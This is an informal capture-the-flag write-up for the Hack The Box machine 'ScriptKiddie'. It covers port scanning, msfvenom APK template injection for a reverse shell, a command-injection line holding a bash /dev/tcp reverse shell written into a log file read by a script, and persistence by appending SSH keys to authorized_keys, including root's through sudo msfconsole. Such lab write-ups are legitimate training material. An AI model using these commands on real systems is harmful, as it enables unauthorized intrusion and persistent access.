scriptkiddie — htb writeup

● nmap

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA)
|   256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA)
|_  256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519)
5000/tcp open  http    Werkzeug httpd 0.16.1 (Python 3.8.5)
| http-methods:
|_  Supported Methods: OPTIONS POST GET HEAD
|_http-server-header: Werkzeug/0.16.1 Python/3.8.5
|_http-title: k1d'5 h4ck3r t00l5
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=2/7%OT=22%CT=1%CU=37548%PV=Y%DS=2%DC=T%G=Y%TM=60200274
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A)SEQ(
OS:SP=106%GCD=1%ISR=109%TI=Z%CI=Z%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3
OS:=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=FE88%W2=F
OS:E88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW
OS:7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF
OS:=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=
OS:%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=
OS:0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RI
OS:PCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 22.669 days (since Fri Jan 15 18:05:57 2021)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Hitting the http service on port 5000, we find a site of hacker 'tools'... testing some of those fields, the upload one stood out, since it's an msfvenom field and there's a known flaw about Template Injection via APK.

So let's look this flaw up in metasploit:

● cmd

msfconsole
search msfvenom

We look at the required fields of the exploit:

We set it with our IP and the port we want. After running, the exploit creates an APK file with our payload.

● cmd

set LHOST
set LPORT

Back on the port 5000 site, we set the fields with: 'Android', '10.10.14.219' and pick our file

After clicking generate, the connection lands on our netcat:

● cmd

nc -vvnlp 4444

We use python3 to upgrade our shell:

● cmd

python3 -c 'import pty;pty.spawn("/bin/bash")'

We generate a key on our machine:

● cmd

ssh-keygen

We write the RSA key into the authorized_keys file to get an SSH connection.

● cmd

cd ~
cd .ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCneP1h2E/pSKsdUVMxMJjfdUGZyjTNQhnisB/yG5jVt5uMNZEmKDee60lHtYqNoxgmPLQ/m4RQ4Y7A1nzh4mLz7Qut2h/yxSNNh+6HdChsXwoIunQfRaBM491FpwGa7/6/wp+GeIkGEduw/pDEFG9holYghJUtX/epWjEJT4z7HNufRhAWHAT4DwJThSCStzvmySyyzoRtJXiImY5cSDmwO7Al4mjWRX8IZyjqN+VyuZD1CMTlf52UCqQv9Zxzg4486+I+MCGa6Va9lEQWT6fL780t1rIi+PpsToF8MDpCRWUCGRltNzDbgKVVTyi3uITWrUxDXUlmv9+ykvkf1ENUUQEHazf6eRc35Ghvadikh27pbpzn2AH3DAHln9A0gDHtLATzURVGNiPplW7azhS+ukeoJw7AAb9UP3NX6elacnjaW3fhVu+oV+H2CJ0yxC5pFfea7lq4EkpScYq6lP29+niIiCq5MUPh4ijGkGEZCRL8G+HNRvOXmSRuqmNs6L8= root@antisec" >> authorized_keys

After writing it, we connect over SSH.

● cmd

ssh kid@scriptkiddie.htb -i kid

Listing the folders in kid's home, we have a folder called logs

● cmd

ls -la

Inside that logs folder, there's a file called hackers that belongs to the 'pwn' group

● cmd

ls -la

In pwn's folder (/home/pwn) there's a bash script called scanlosers.sh that interacts with the hackers file, which we have write permission on.

● cmd

cd /home/pwn
cat scanlosers.sh

So we use echo to inject a command and break the syntax of scanlosers.sh so a command of ours runs. The script uses 'cut -d ' ' -f3-' so we pass 3 leading spaces and run our command right after.

**echo** — injection into the hackers file

● cmd

cd /home/kid/logs
echo "  ;/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.219/1337 0>&1' #" >> hackers

Doing that, we get the connection already as user pwn :)

● cmd

nc -vvnlp 1337

We list whether we're allowed to run any program as root, and there's metasploit (lol)

● cmd

sudo -l

Metasploit lets you run shell commands even from inside the framework :) We generate the key on our machine:

● cmd

ssh-keygen

And then we write an RSA key into the /root/.ssh/authorized_keys file

**msfconsole** — echo into root's authorized_keys

● cmd

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDahIdVfE+PSXj1pXUKgyl1srULxOZ8tczHrsxKW5OjWV8MtKTHLW0sGoYxT+d/vxS0/KaCVdLPYjbDXJ7+758TIHWi+km7Tx1UOnj+F0fuQhc3Kw51n+dc7CSMMGOWGS16cJj9VWjFklj8T0cLoOUzbT7If7Xn4Cwz0OzLth+heqqCFBQQjHrQj+5jFlGIQycu5BmbCuuu3Eh5rBArgrF2XMDXUkAZjARczjhIPzTM1MW7wKCAok+gS3u0Epry8ULEwJjhiXAXbCLGivInit7GU8Smk/JnmGkY4ZerJqNL4FsGlhjLgi9Bu9QnFF0ZPXLFQsL9M5oH7vN75ZS6KIno8D8naZT2eoK97zq4DE8q9FqOEWV/b2FNxTZgn3Mf/M8xbq0r/WQ/p4+66Ch7ypbyKKXOVSGgwh9wedZyzTwn/waU6lex0DD96RTwmxm7t2mVGTasMhdVVK+v9H7XhfiyEG6lKZIK2c6CNsbJ2Mzo43YaBylKyG0YRpwCNSxdgB0= root@antisec" >> /root/.ssh/authorized_keys

Now we use the key and we are r00t :~

● cmd

ssh root@scriptkiddie.htb -i r00t

if i helped you, add + respect at my profile :D

chu@antisec:~/htb$ cat scriptkiddie.md

my references